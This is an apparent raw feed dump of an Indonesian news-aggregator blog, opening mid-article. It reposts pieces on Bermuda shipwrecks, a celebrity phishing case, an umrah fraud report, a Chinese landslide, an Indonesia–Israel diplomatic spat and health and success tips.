mana hal yang sama berpotensi terjadi," ujar Potapov.Selama ini, Bermuda dikenal dengan wilayah laut angker. Kejadian-kejadian misterius sering terjadi pada daerah yang dikenal dengan sebutan Segitiga Bermuda. Kisah-kisah hilangnya kapal yang tidak bisa dijelaskan dengan akal merebak dari sini. Memang banyak kapal yang tenggelam di kawasan Segituga Bermuda itu. Sehingga tak mengherankan lagi jika di dasar laut Bermuda menjadi rumah terbesar di dunia bagi bangkai-bangkai kapal. Dengan lebih dari 300 bangkai kapal yang teridentifikasi, tempat itu menjadi semacam kapsul waktu yang bisa membawa kita ke era ratusan tahun silam. Banyaknya kapal yang tenggelam di perairan yang terletak di Samudera Atlantik ini bisa dijelaskan secara logis. Arus teluk yang terjadi di wilayah ini telah menyeret kapal-kapal yang lewat ke daerah berkarang, yang dangkal. Sehingga, banyak kapal karam di sini setelah menabrak karang-karang itu. Hilang 90 Tahun di Segitiga Bermuda, Kapal Ini Muncul Kembali Kondisi di dalam bangkai kapal di bawah Bermuda Di tengah berbagai mitos mistis itu, kawasan Bermuda ternyata menjadi tujuan menarik bagi para wisatawan yang gemar menyelam. Para pelancong bisa menyelam dan berenang di sela-sela lambung kapal karam yang sebagian masih utuh. Inilah `museum alami di bawah laut` tang sangat indah. Salah satu lokasi penyelaman yang terkenal di kawasan ini adalah lokasi karamnya Colon Cristobal, yang menjadi bangkai kapal terbesar di Bermuda. Bangkai itu merupakan sisa-sisa kapal mewah Spanyol. Panjang kapal itu 152 meter yang dibuat pada 1923. Kapal ini menjadi yang tercepat di eranya. Hilang 90 Tahun di Segitiga Bermuda, Kapal Ini Muncul Kembali Jangkar kapal yang tenggelam di Bermuda Kapal mewah itu kandas pada 1936 setelah menerjang karang saat melakukan pelayaran antara New York dan Amerika Tengah. . Saat ini, bangkai kapal itu tidur 16 meter di bawah permukaan laut dengan puing-puing yang berserak di wilayah dasar laut seluas sembilan ribu meter persegi. Ada pula kapal frigate Prancis dengan 60 meriam. L'Herminie nama kapal perang itu. Tenggelam pada tahun 1863. Tenggelamnya kapal ini menjadi peristiwa paling dramatis di Bermuda. Sebab, dengan tiga kapal kayu kecil, para awaknya kembali ke Prancis. Bangkai kapal perang itu saat ini terbaring sepuluh meter di bawah permukaan air. Hilang 90 Tahun di Segitiga Bermuda, Kapal Ini Muncul Kembali Salah satu kapal di dasar Bermuda Dan salah satu bangkai kapal paling bersejarah adalah Mary Celestia. Kapal uang yang `memiliki roda` pada bagian lambungnya. Kapal itu tenggelam ketika disewa dalam perang sipil Amerika. Kala itu, kapal ini digunakan untuk menyelundupkan senjata, amunisi, dan suplai makanan untuk tentara kelompok selatan. Kapal ini digunakan untuk mengatasi blokade di darat. Kapal sepanjang 68 meter tersebut tenggelam pada 1838, setelah menghantam karang di dekat pantai selatan. Para penyelam bisa menemukan kapal unik bersejarah ini pada kedalaman 16 meter di bawah permukaan air. Para penyelam bisa melihat roda kapal, mesin uap, serta jangkar yang masih tersisa. Ratusan bangkai kapal memang tetap utuh, meskipun cuaca buruk kerap terjadi di kawasan Bermuda. Benda-benda bersejarah itu bisa tetap utuh hingga kini karena pelestarian laut yang ketat dan saat ini banyak penggemar diving yang melancong ke sini. Menemukan keindahan `museum` bawah laut di tengah kesan angkernya!<br /><br />Sumber By : www.dream.co.idYunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-91250365368955722002016-03-20T13:17:00.002-07:002016-03-20T13:17:51.449-07:00Cerita Farah Quinn Tentang Anaknya yang Pintar Mengaji dan Taat Salat Lima Waktu<div class="separator" style="clear: both; text-align: center;"><a href="https://3.bp.blogspot.com/-JIf1XSD4o_A/Vu8E0xzW9gI/AAAAAAAAAKo/MxaiwY3nraMTXtLp2WWKM01dm1NWc6mug/s1600/farah-quinn_20160319_020656.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://3.bp.blogspot.com/-JIf1XSD4o_A/Vu8E0xzW9gI/AAAAAAAAAKo/MxaiwY3nraMTXtLp2WWKM01dm1NWc6mug/s640/farah-quinn_20160319_020656.jpg" width="640" /></a></div><br />My Blogger - Koki yang juga selebriti Farah Quinn (35) merasa bangga kepada anak semata wayangnya, Armand Fauzan Quinn, yang sudah pintar mengaji pada usia memasuki sembilan tahun. "He is amazing! Dia memang sudah bisa mengaji Al Quran dengan tajwid yang baik," puji Farah dalam sebuah jumpa pers di Jakarta pada Jumat lalu. Menurut Farah, agama merupakan hal yang sangat penting, sehingga Armand mulai belajar mengaji ketika usianya menginjak empat tahun. Farah menambahkan, dalam belajar mengaji, dari seorang guru mengaji, Armand berkonsentrasi serta berdaya tangkap cepat, kendati sebagai anak-anak ia terkadang merasa lelah. "Guru ngajinya bilang, Armand cepat sekali menyerap ilmu saat diajarkan mengaji. Dia sepertinya punya bakat," cerita Farah. Tidak hanya itu, Farah juga terkesan akan tanggung jawab Armand untuk menunaikan salat lima waktu di mana pun ia berada, tanpa terkecuali di bandar udara. "Dia bilang, Mami saya mau gunakan mushala dulu, saya mau salat. Di usianya yang masih kecil, dia memang penuh tanggung jawab," ceritanya lagi...<br /><br />Sumber By : www.tribunnews.comYunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-68268165628213181402016-03-20T13:12:00.000-07:002016-03-20T13:12:56.647-07:00Trik yang Dilakukan Hacker untuk Mencuri Foto Bugil Artis Hollywood<div class="separator" style="clear: both; text-align: center;"><a href="https://4.bp.blogspot.com/-7HOFQeq6Tp4/Vu8C66THTdI/AAAAAAAAAKc/rU5ItmmjYgkOs3yGaAbJCa26-GHSj5XaA/s1600/1520515computer-hacker780x390_20150525_165838.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://4.bp.blogspot.com/-7HOFQeq6Tp4/Vu8C66THTdI/AAAAAAAAAKc/rU5ItmmjYgkOs3yGaAbJCa26-GHSj5XaA/s640/1520515computer-hacker780x390_20150525_165838.jpg" width="640" /></a></div><br />My Blogger - Setelah hampir dua tahun, kasus pencurian foto bugil artis Hollywood, seperti Jennifer Lawrence, Lea Michele, dan Kirsten Dunst, di layanan iCloud akhirnya memasuki babak baru. Ryan Collins, seorang peretas berusia 36 tahun, telah mengaku bersalah atas tindakan yang dilakukannya itu. Pengakuan Collins itu juga diikuti dengan jawaban dari misteri yang menyelubungi misteri lainnya: teknik yang digunakan si peretas untuk mencuri foto bugil tersebut. Berdasaran keterangan dari jaksa penuntut Departemen Kehakiman Amerika Serikat, sebagaimana KompasTekno rangkum dari Buzzfeed, Collins menggunakan sebuah trik phising. Ia mengelabui target dengan mengirim sebuah e-mail yang didesain khusus agar seakan-akan tampak berasal dari Apple atau Google. E-mail itu berisi permintaan mengisi username dan password. Dengan begitu, target atau korban diharap mau membalas dan memberikan informasi yang diminta.Nah, saat korban merespons e-mail itu, Collins sudah berhasil mendapatkan informasi username dan password tersebut. Dengan begitu, Collins bisa langsung membuka akun iCloud dan melihat semua data yang tersimpan di dalamnya, termasuk (jika ada) foto bugil korbannya. Setelah itu, Collins bisa langsung mengunduh data yang diinginkan satu persatu. Namun, tidak mau terlalu repot-repot, ia menggunakan sebuah program di komputer untuk langsung mengunduh semua konten dari akun iCloud korbannya. Setelah kejadian peretasan besar-besaran tersebut, Apple langsung mengganti cara kerja sistem keamanan iCloud. Cara baru yang diterapkan, mirip dengan sejumlah layanan penyimpanan berbasis cloud lain, yakni otentikasi dalam dua tahap. Otentikasi dua tahap ini, selain membutuhkan password, juga menjuga mengharuskan pengguna memasukkan kode yang dikirim melalui SMS ke perangkat yang didaftarkan sebelumnya.<br /><br />Sumber By : www.tribunnews.comYunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-79478343020611536642016-03-20T13:03:00.001-07:002016-03-20T13:03:52.573-07:00Anak Rhoma Irama dan Artis Peggy Melati Sukma Terseret Kasus Penipuan Umrah<div class="separator" style="clear: both; text-align: center;"><a href="https://3.bp.blogspot.com/-Pmh-AnAXbkg/Vu8BSpEh0cI/AAAAAAAAAKQ/3JSMIa4mVfEcZywl-tnj03H9pE081o6Bw/s1600/korban-pelapor-sri-purwati_20160320_192846.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://3.bp.blogspot.com/-Pmh-AnAXbkg/Vu8BSpEh0cI/AAAAAAAAAKQ/3JSMIa4mVfEcZywl-tnj03H9pE081o6Bw/s640/korban-pelapor-sri-purwati_20160320_192846.jpg" width="640" /></a></div><br />My Blogger - Vicky Irama, putra kandung penyanyi dangdut Rhoma Irama dan artis Peggy Melati Sukma terserat kasus penggelapan atau penipuan bermodus penyedia jasa perjalanan umroh yang dilakukan PT Sahabat Sukses Indonesia (PT SSI). Kedua publik figur itu menjadi model di brosur iklan milik perusahaan yang memiliki lima gerai di tiga kota. Mereka tak mengetahui kredibilitas perusahaan. Selain itu, PT SSI memasang tarif murah, sehingga banyak orang tertarik. Namun, PT SSI tak memberangkatkan para peserta. "Kami melaporkan penipuan atau penggelapan jamaah umroh yang dilakukan PT SSI. Kami mempunyai bukti keterlibatan public figur, ada brosur Peggy dan Ficky," kata Syukni Tumi, penasehat hukum para korban di Mapolda Metro Jaya, Minggu (20/3). Dia menjelaskan, kasus penipuan itu semula dilaporkan ke Sentra Pelayanan Kepolisian (SPK) Mapolresta Depok karena korban yang mau melapor kebanyakan peserta dari kantor cabang Depok. Namun, sampai saat ini tak terdengar perkembangan. Banyak korban dari kota lain hendak melapor, maka Syukni mengambil langkah melaporkan ke Mapolda Metro Jaya. PT SSI membuka lima gerai, yaitu dua di Depok, Kemayoran, Yogyakarta dan Boyolali. Menurut Syukni, PT SSI sempat memberikan surat pernyataan bermaterai berisi jika sampai tanggal 10 Januari tak memberangkatkan jamaah maka biaya yang sudah dibayarkan jamaah akan dikembalikan. Namun ternyata korban yang dijanjikan tak kunjung mendapat pengembalian uang, bahkan kantor PT SSI tutup tanpa informasi&nbsp;"Mereka sudah bikin pernyataan jika akan mengembalikan uang jamaah kalau tidak diberangkatkan, sekarang malah hilang. Kantor tutup," kata dia. Oleh karena itu, dia meminta kepada aparat kepolisian jika ada aliran dana di rekening petinggi PT SSI untuk dilacak. Dalam laporan polisi bernomor LP/1328/III/2016/PMJ.Ditreskrimum tertera tiga nama petinggi PT SSI yang dilaporkan yaitu Reko Budi Utomo, Arista Yulianti dan Ryanto. Pelapornya adalah salah satu korban Sri Purwati, peserta umroh dari salah satu gerai PT SSI Jalan Kartini, Pancoran Mas, Kota Depok...<br /><br />Sumber By : www.tribunnews.comYunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-18947051715113698362016-03-20T12:49:00.001-07:002016-03-21T11:22:09.409-07:00Video detik-detik mengerikan saat bukit Longsor di China<div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/kqapRs5XRhU/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/kqapRs5XRhU?feature=player_embedded" width="320"></iframe></div><div style="background-color: white; padding: 0px 0px 25px;"><br /><br />My Blogger - Sebuah rekaman video memperlihatkan detik-detik mengerikan longsor di Provinsi Hunan, China. Seperti dilansir DAILY MAIL, video amatir itu direkam pengendara yang terjebak macet di lokasi kejadian. Rekaman itu menunjukkan saat tanah di bukit tersebut longsor dan memblokade jalanan. Antrean kendaraan pun mengular saat longsor menutupi badan jalan di wilayah Yiyang. Tampak, tanah itu meluncur dari atas bukit seperti air terjun. Sejumlah pepohonan yang berada di atas bukit pun ikut terbawa longsoran tanah. Tak ada pilihan lain, mobil-mobil tersebut memutarbalik arah dan menghindari longsoran tersebut. Beruntung, tidak ada yang terluka dalam peristiwa tersebut. Namun, tanah longsor itu cukup membuat bergidik pengendara yang hendak melintasi wilayah tersebut. Yang terang, lokasi itu masih terblokade dan sedang ditangani oleh pihak yang berwenang.</div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-52143504701582355792016-03-20T12:28:00.001-07:002016-03-21T11:17:06.030-07:00RI-israel saling serang soal isu pertemuan rahasia<div class="separator" style="clear: both; text-align: center;"><a href="https://4.bp.blogspot.com/-mq6w9B1Og7g/Vu722Ki1hWI/AAAAAAAAAKA/AR1WQ5WUJSAqa4_29xtDZrGyXLZ2tMnAQ/s1600/ri-israel-saling-serang-soal-isu-pertemuan-rahasia.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://4.bp.blogspot.com/-mq6w9B1Og7g/Vu722Ki1hWI/AAAAAAAAAKA/AR1WQ5WUJSAqa4_29xtDZrGyXLZ2tMnAQ/s640/ri-israel-saling-serang-soal-isu-pertemuan-rahasia.jpg" width="640" /></a></div><br />My Blogger - Pada mulanya sederhana. Seperti telah diduga banyak pihak, termasuk oleh pemerintah Indonesia, upaya melantik Konsul Kehormatan Maha Abu Shusheh di Kota Ramallah, Tepi Barat, Palestina, tidak berjalan mulus. Rombongan Menteri Luar Negeri Retno L.P Marsudi tidak bisa memasuki Ramallah karena Israel yang menguasai jalur udara antara Yordania-Ramallah tidak menerbitkan izin melintas (over flight). Sejak awal Kemlu sudah menyiapkan dua skenario seandainya Israel menghalang-halangi pelantikan. "Pertama akan melantik Konsuler Kehormatan di Ramallah, sedangkan yang kedua di KBRI Amman," kata Arrmanatha Nasir, Juru bicara Kementerian Luar Negeri di Jakarta, Namun ketika pelantikan berlansung mulus memakai rencana kedua, muncul riak baru. Wakil Menteri Luar Negeri Israel, Tzipi Hotovely, di hadapan Knesset (parlemen) pekan ini menjelaskan alasan tidak diberikannya akses masuk bagi Menlu Retno. Wakil Menteri Luar Negeri Israel Tzipi Hotovely (c) Emil Salman Hotolevy mengklaim Indonesia awalnya menghubungi Israel secara intensif buat memuluskan kunjungan ke Ramallah. Karenanya, Direktur Kementerian Luar Negeri Israel untuk Wilayah Asia, Mark Sofer, diperintahkan mengunjungi Jakarta diam-diam beberapa hari sebelum Menlu Retno ke Yordania pekan lalu."Sudah ada kesepakatan jelas bahwa Marsudi akan mengunjungi Ramallah, termasuk ke Israel dan menemui pejabat senior di Yerusalem," kata Hotovely, seperti dilansir surat kabar Haaretz. Belakangan Menlu Retno membatalkan sepihak syarat sowan ke pejabat Zionis di Yerusalem. Israel akhirnya menolak mengeluarkan izin terbang bagi helikopter rombongan RI menuju Ramallah. Kota di Tepi Barat itu dikelilingi oleh wilayah pendudukan Zionis, termasuk untuk akses udaranya. "(Menlu RI) paham telah melanggar aturan yang telah ditetapkan Israel," kata Hotovely. Menurut Hotovely, Israel sudah menetapkan aturan pejabat mana pun yang akan mengunjungi Palestina harus juga melawat ke Israel. Aturan ini berlaku bagi semua negara, baik yang punya hubungan diplomatik atau tidak. Pada 2014, Menlu Kolombia juga ditolak masuk Ramallah karena negaranya tak punya hubungan diplomatik formal dengan Israel. "Indonesia tanpa pengecualian dalam hal ini," kata Hotovely. "Setiap pejabat senior internasional harus melalui Yerusalem." Pemerintah RI meradang mendengar tudingan Israel. "Saya tegaskan apa yang mereka katakan tidak benar, tidak pernah saya komunikasi dengan Israel," kata Menlu Retno saat ditemui usai rapat bersama Menko Polhukam di Jakarta, Mantan Dubes Indonesia untuk Belanda ini juga membantah adanya pejabat Israel yang diam-diam datang ke Indonesia. "Saya enggak tahu, Kemenlu tak pernah membuat perjanjian dengan Israel,catat itu ya," kata Retno. Setali tiga uang, Menko Polhukam Luhut Panjaitan mempertanyakan klaim Israel bahwa ada pertemuan rahasia antara kedua negara. "Emang apaan. Kalau&nbsp;sudah diumumin bukan pertemuan rahasia dong," cetusnya. Jubir Kemlu mengibaratkan klaim-klaim seputar larangan masuk Ramallah sebagai watak asli Israel."Serigala walaupun sudah memakai gaun dan lipstik, tetap saja akan menjadi serigala. Begitulah kira-kira," kata Arrmanatha. Walau kedua negara akhirnya jadi terlibat perang opini dan saling tuding, Kemlu berupaya mengabaikan provokasi Israel. Konsul Kehormatan RI di Palestina Maha Abu Shusheh dilantik menlu (c) 2016, Bagi pemerintah Indonesia, faktanya pelantikan konsul kehormatan di Ramallah berhasil digelar secara khidmat dan lancar di Amman, Yordania. Maka pernyataan pihak Israel bisa diabaikan karena tidak substansial, terutama dalam upaya Indonesia mendukung kemerdekaan Palestina. "Kami tidak tahu motivasi (ucapan Wamenlu Israel). Intinya kita hanya fokus kepada misi ke Amman dan itu sudah tercapai," kata pria akrab disapa Tata itu saat dikonfirmasi "Apapun yang Israel katakan, ya kita harus selesaikan misi kita. Kita tidak peduli." Kebijakan pemerintah Israel melarang masuk menlu Retno sebetulnya mendapat protes di internal Knesset. Anggota parlemen Israel dari fraksi Arab, Ahmad Tibi, mengatakan kebijakan semacam itu membuktikan Israel adalah penjajah yang mengatur siapa saja yang boleh masuk atau keluar dari Palestina. "Mengapa harus ikut campur. Ini adalah negara yang sudah diakui oleh Perserikatan Bangsa-Bangsa," kata Tibi merujuk kepada Palestina. Indonesia dan Israel sampai sekarang tidak memiliki hubungan diplomatik. Dalam wawancara, Juru Bicara Kementerian Luar Negeri Israel Emmanuel Nahshon menuntut Indonesia harus bersedia menjalin hubungan dengan negaranya. "Bagaimana bisa anda bicara perdamaian antara Israel dan Palestina tanpa mengundang Israel?" tandasnya. Israel-Indonesia sebetulnya berhubungan tanpa melalui jalur resmi. Dokumen sejarah sudah menunjukkan TNI pernah memperoleh pelatihan dan melakukan pembelian alutsista ke Israel melalui perantara selama periode 1980-an. WNI pun tak terhitung lagi yang masuk wilayah yang diduduki Rezim Zionis saban tahun untuk ziarah agama ke Yerusalem, Bethlehem, atau atas undangan resmi lembaga di Israel. Diperkirakan 15 ribu WNI setiap tahun berziarah ke Tanah Suci...<br /><br />Sumber By : Merdeka.ComYunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-44139940271364533132016-03-20T12:06:00.000-07:002016-03-21T11:22:27.805-07:00Kebiasaan sehari-hari penanda anda calon orang sukses<div class="separator" style="clear: both; text-align: center;"><a href="https://3.bp.blogspot.com/-zGu6ksMjJ54/Vu7xMclN0aI/AAAAAAAAAJw/wR7vJfiqjdUDiDADfJ_FPmqi7nWaA74RA/s1600/5-kebiasaan-sehari-hari-penanda-anda-calon-orang-sukses.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://3.bp.blogspot.com/-zGu6ksMjJ54/Vu7xMclN0aI/AAAAAAAAAJw/wR7vJfiqjdUDiDADfJ_FPmqi7nWaA74RA/s640/5-kebiasaan-sehari-hari-penanda-anda-calon-orang-sukses.jpg" width="640" /></a></div><br /><br />My Blogger - Sebagian orang berhasil meraih kesuksesan tertinggi dalam hidup bukan tanpa kebiasaan baik. Orang sukses punya beberapa kebiasaan yang selalu diaplikasikan dalam kehidupan sehari-hari. Dilansir dari Business Insider pilihan yang kita buat pada masa ini menjadi penentu akan menjadi apa di masa mendatang. Memang pengalaman menjadi guru penting, namun, tidak ada salahnya mendengarkan nasihat dari yang pernah melaluinya. Tentu nasihat dari seseorang yang telah sukses mempunyai nilai tambah sendiri. Sebab, dengan menjadi sukses, mereka telah membuktikan usahanya melewati rintangan hidupnya di periode ini. Berikut kami akan merangkumnya seperti dikutip dari Hipwee...<br /><blockquote class="tr_bq">Berikut ini 5 tips kebiasaan sehari-hari penanda anda calon orang sukses</blockquote><br />1 - Memikirkan produktifitas - Sibuk mengerjakan sesuatu tidak selamanya bercitra baik. Menurut Tim Ferris, penulis The 4 Hour Workweek, menjadi sibuk sering merupakan bentuk kemalasan mental. Anda dianggap termasuk dalam golongan malas berencana dan tidak terorganisir. Jadi orang sukses biasanya lebih memfokuskan pada produktif bukannya sibuk...<br /><br />2 - Rajin bangun pagi - Semakin pagi Anda bangun, semakin banyak kegiatan yang bisa dilakukan. Hal ini sudah jadi kebiasaan para bos perusahaan besar dunia. CEO Fiat dan Chrysler, Sergio Marchionne rela setiap harinya bangun pagi pukul 03.30 pagi. Ternyata hal ini juga diikuti oleh Tim Cook, CEO Apple Inc yang mulai aktivitasnya 04.30 untuk mengirim surat elektronik atau email. Kemudian CEO General Electric Jeffrey Immelt yang rutin melakukan bangun pagi pada pukul 05.30.<br /><br />3 - Fokus memikirkan - Mereka yang sukses lebih cenderung memikirkan membentuk tim kerja yang terbaik. Mereka tahu bahwa mereka bisa sukses jika dibantu dengan orang yang akan melengkapi mereka nantinya. Dikatakan Pelatih Basket Phil Jackson, bahwa kekuatan tim bukan masing-masing anggota individu melainkan perpaduan tim secara keseluruhan.<br /><br />4 - Rajin melakukan perbaikan kecil - Ada sebuah kiasan bahwa Anda tidak bisa makan gajah sekaligus. Filosofi ini mengajarkan ada baiknya Anda harus mengambil satu potongan pada satu waktu. Dalam arti mengerjakan sesuatu sedikit demi sedikit, namun, konsisten hingga membuahkan hasil. Henry Ford pernah berkata "tidak ada yang sulit jika Anda membaginya menjadi potongan-potongan kecil."...<br /><br />5 - Bermeditasi - Menurut Oprah Winfrey, bermeditasi menimbulkan dampak sangat positif. Terutama menghasilkan tidur malam berkualitas. Menenangkan pikiran dengan bermeditasi juga bermanfaat pada banyak hal. Salah satunya peningkatan hubungan dengan pasangan, anak dan rekan kerja. Ini akan berdampak pada produktivitas yang lebih besar dan kreativitas...<br /><br />Sumber By : Merdeka.ComYunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-87988465405074424772015-12-17T20:31:00.000-08:002016-03-15T12:06:26.049-07:00WoW 7 Makanan Ini Ampuh Membuat Awet Muda Lebih Lama<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjDaAHgvPAwZX6dqEbV-u8sYh6K4Q7RG3um6AKZWwLs-i9-iAQK_uBrgJKfhFPrYioPOlZZG4ft7Q3n9Sx-c9TA8ezgXXMHqo0Pgf3d5Ve7IAvqhQ5hnMEih5KIZEyyns6Sn8N04gg1nA/s1600/makanan+buat+awet+muda+lama+sehat.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="454" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjDaAHgvPAwZX6dqEbV-u8sYh6K4Q7RG3um6AKZWwLs-i9-iAQK_uBrgJKfhFPrYioPOlZZG4ft7Q3n9Sx-c9TA8ezgXXMHqo0Pgf3d5Ve7IAvqhQ5hnMEih5KIZEyyns6Sn8N04gg1nA/s640/makanan+buat+awet+muda+lama+sehat.jpg" width="640" /></a></div><div style="text-align: justify;"><br /><br /><br /><br /><br /><br /><br /><br /><br />Awet Muda merupakan harapan dan impian semua orang baik laki-laki maupun perempuan. Berbagai indikasi bahwa seseorang tampil awet muda yaitu kulit yang terlihat lebih kencang, jauh dari keriput serta terhindar dari berbagai penyaki yang biasanya menyerang di usianya. Seseorang akan tampak lebih awet muda jika dia&nbsp; mampu mengontrol tingkat stres, rutin berolahraga, minum teh hijau serta mengkonsumsi berbagai makanan tertentu. Lalu, apa saja makanan yang dapat membuat seseorang tampil lebih awet muda...???.</div><div style="text-align: justify;"><a href="https://www.blogger.com/null" name="more"></a><br /></div><div style="text-align: justify;">Berpikir positif, murah senyum serta hobi membaca buku dapat membuat tubuh dan pikiran selalu terjaga kesehatannya (awet muda). Tampil awet muda juga dapat dengan mudah didapatkan, jika anda selalu mencukupi waktu tidur di malam hari. Karena malam hari, regenerasi sel kulit pada tubuh bekerja lebih optimal. Selain itu, ada berbagai jenis makanan yang dapat membuat seseorang terlihat lebih awet muda...<br /><blockquote class="tr_bq">Berikut ini 7 makanan yang ampuh agar lebih awet muda :</blockquote></div><div style="text-align: justify;"><ol><li>Anggur. Buah ini sangat efektif untuk membuat seseorang tampil lebih awet muda. Ini dikarenakan, buah anggur mengandung resveratrol yang berperan menutrisi kulit, dan melindungi kulit dari sinar ultraviolet dari matahari serta mencegah kanker kulit.</li><li>Brokoli. Salah satu jenis sayuran hijau ini juga terbukti ampuh menangkal penuaan dini. Ini dikarenakan, brokoli mengandung sumber fitonutrien yang berperan memerangi berbagai jenis kanker seperti kanker paru-paru serta kanker lambung.</li><li>Apel. Buah bulat lonjong dengan warna merah atau hijau muda ini juga termasuk dapat membuat awet muda. Buah apel merupakan sumber pektin yang sangat efektif untuk mencegah plak (penumpukan kolesterol) pada pembuluh darah, menyehatkan jantung dan organ pencernaan anda.</li><li>Jahe. Salah satu tanaman obat keluarga ini juga terbukti ampuh dalam kaitannya dengan awet muda. Ini dikarenakan, jahe mengandung sumber antioksidan yang membantu memperkuat daya tahan tubuh serta menangkal berbagai rasa nyeri setelah berolahraga maupun beraktivitas. </li><li>Bawang Putih. Salah satu bumbu dapur yang selalu di gunakan ibu rumah tangga ini juga di golongkan kedalam makanan yang membantu awet muda. Bawang putih merupakan sumber flavonoid yang berperan dalam mencegah radang maupun kanker pada lambung, diabetes, menyehatkan organ jantung serta mengurangi kadar kolesterol jahat dalam darah serta memperkuat sistem imun tubuh.</li><li>Bayam. Sayuran berdaun hijau ini juga dikaitkan dengan salah satu makanan yang menjadikan seseorang lebih awet muda. Berbagai kandungan vitamin, serat serta mineral dalam bayam berperan sebagai anti kanker, menyehatkan jantung, anti pikun serta sangat baik untuk organ penglihatan anda.&nbsp;</li><li>Jambu Biji. Buah ini masuk dalam golongan makanan yang bikin awet muda. Ini dikarenakan, jambu biji merupakan sumber vitamin C yang berperan memerangi radikal bebas yang merupakan penyebab utama penuaan pada seseorang serta untuk kesehatan jantung dan anti kanker.</li></ol><br />Semoga tips kesehatan yang mengulas 7 makanan yang ampuh membuat awet muda dapat bermanfaat bagi pembaca sekalian...</div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-29272423269500330132015-12-15T20:05:00.000-08:002016-03-15T09:21:35.571-07:00Hati-Hati Terlalu Berhemat Dapat Membahayakan Kesehatan Tubuh Kita<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjF-Q2THlgn5IMs2YNDAoXwGpDDPLl6DNfzpn63vGJX7MbIX_yvQWexY9a_k0_2JgozbaHrK-sbUjI0nVwFWFygUz-IgI85ctzpAaP5TRzP8GpXa8F-FpEmwFeSaD5UB1V3Wwt-nu8uEA/s1600/terlalu+hemat+bahaya+kesehatan+tubuh.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="422" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjF-Q2THlgn5IMs2YNDAoXwGpDDPLl6DNfzpn63vGJX7MbIX_yvQWexY9a_k0_2JgozbaHrK-sbUjI0nVwFWFygUz-IgI85ctzpAaP5TRzP8GpXa8F-FpEmwFeSaD5UB1V3Wwt-nu8uEA/s640/terlalu+hemat+bahaya+kesehatan+tubuh.jpg" width="640" /></a></div><div style="text-align: justify;"><br /><br /><br /><br /><br /><br /><br /><br /><br />Berhemat merupakan salah satu kebiasaan baik bagi semua insan manusia di berbagai tingkatan umur baik itu anak-anak, remaja, dewasa maupun para lansia. Kebiasaan hidup hemat sangat pas untuk diterapkan pada kondisi saat ini. Saat harga subsidi BBM di kurangi di sertai harga-harga kebutuhan bahan pokok yang merangkak naik, maka sangat dituntut unuk hidup lebih hemat setiap hari. Tapi, menghemat dengan mengurangi asupan nutrisi yang dibutuhkan oleh tubuh merupakan langkah yang keliru. Lalu, apa saja dampak terlalu berhemat bagi kesehatan tubuh tersebut...???.</div><div style="text-align: justify;"><a href="https://www.blogger.com/null" name="more"></a><br /></div><div style="text-align: justify;">Menurut saya, berhemat yaitu mengurangi untuk membelanjakan uang pada kebutuhan yang kurang perlu dan lebih mempriotaskan kebutuhan yang lebih penting. Dalam hal ini, kita seharusnya tidak mengurangi porsi makanan sehat yang harusnya dikonsumsi tiap harinya. Ini dikarenakan, tubuh membutuhkan berbagai nutrisi penting untuk menunjang berbagai aktivitas yang kita lakukan. Ada sebuah ungkapan baik yang bisa menjelaskan itu semua.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Berhemat itu sangat baik dalam segala hal. Meskipun begitu, usahakan untuk tetap mencukupi kebutuhan nutrisi yang dibutuhkan oleh tubuh anda. Karena tubuh anda sangat membutuhkan berbagai nutrisi dari berbagai makanan sehat yang anda konsumsi...<br /><blockquote class="tr_bq">Berikut ini beberapa nutrisi yang dibutuhkan oleh tubuh anda :</blockquote></div><div style="text-align: justify;"><ol><li>Karbohidrat. Karbohidrat merupakan nutrisi yang berupa kalori yang butuhkan oleh tubuh dan otot sebagai bahan bakarnya. Mengurangi jumlah konsumsi karbohidrat yang masuk tubuh, sama saja dengan mengurangi kalori yang masuk tubuh anda ( Nasi merupakan salah satu makanan berkabohidrat).</li><li>Protein. Protein berfungsi untuk menutrisi ( otot tubuh, sel darah merah, rambut serta membuat hormon). Sumber protein diantaranya terdapat pada&nbsp; daging, ikan, susu, telur serta kacang-kacangan.</li><li>Vitamin. Berbagai vitamin yang familiar seperti vitamin A, B, C, D, E serta K. Untuk mencukupi kebutuhan beberapa vitamin yang dibutuhkan oleh tubuh, anda dapat memulainya dengan menyediakan dan mengkonsumsi aneka buah-buahan setiap hari.</li><li>Mineral. Mineral merupakan nutrisi yang juga dibutuhkan oleh tubuh. Mineral yang dimaksud yaitu kalsium, magnesium serta zat besi. Kalsium sangat penting untuk menutrisi tulang anda. Beberapa makanan yang mengandung kalsium yaitu susu, tahu serta ikan 